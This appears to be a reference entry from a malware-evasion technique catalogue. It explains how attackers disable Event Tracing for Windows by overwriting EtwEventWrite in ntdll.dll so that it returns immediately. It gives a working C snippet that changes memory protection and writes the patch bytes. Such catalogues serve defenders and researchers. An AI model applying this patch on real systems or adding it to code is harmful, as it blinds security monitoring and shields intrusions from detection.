Disabling Event Tracing for Windows (ETW)

Created the Tuesday 19 April 2022. Updated 6 months, 1 week ago.

Many EDR solutions leverage Event Tracing for Windows (ETW) extensively. ETW allows for extensive instrumentation and tracing of a process functionality and WINAPI calls. It has components in the kernel, to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of ntdll.dll.

Since ntdll.dll is a DLL loaded into the process of a binary, an attacker can have full control over this DLL and therefore the ETW functionality. The most common nypassing technique is patching the function EtwEventWrite which is called to write/log ETW events. It is possible to fetch its address in ntdll.dll, and replace its first instructions with instructions to return 0 (SUCCESS).

Technique Identifier

U0306

Technique Tag

anti-forensic

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

Description

Snippet source code from @_vivami

void disableETW(void) {
	// return 0
	unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret
	
	ULONG oldprotect = 0;
	size_t size = sizeof(patch);
	
	HANDLE hCurrentProc = GetCurrentProcess();
	
	unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
	
	void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
	
	NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
	
	memcpy(pEventWrite, patch, size / sizeof(patch[0]));
	
	NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
	FlushInstructionCache(hCurrentProc, pEventWrite, size);
	
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem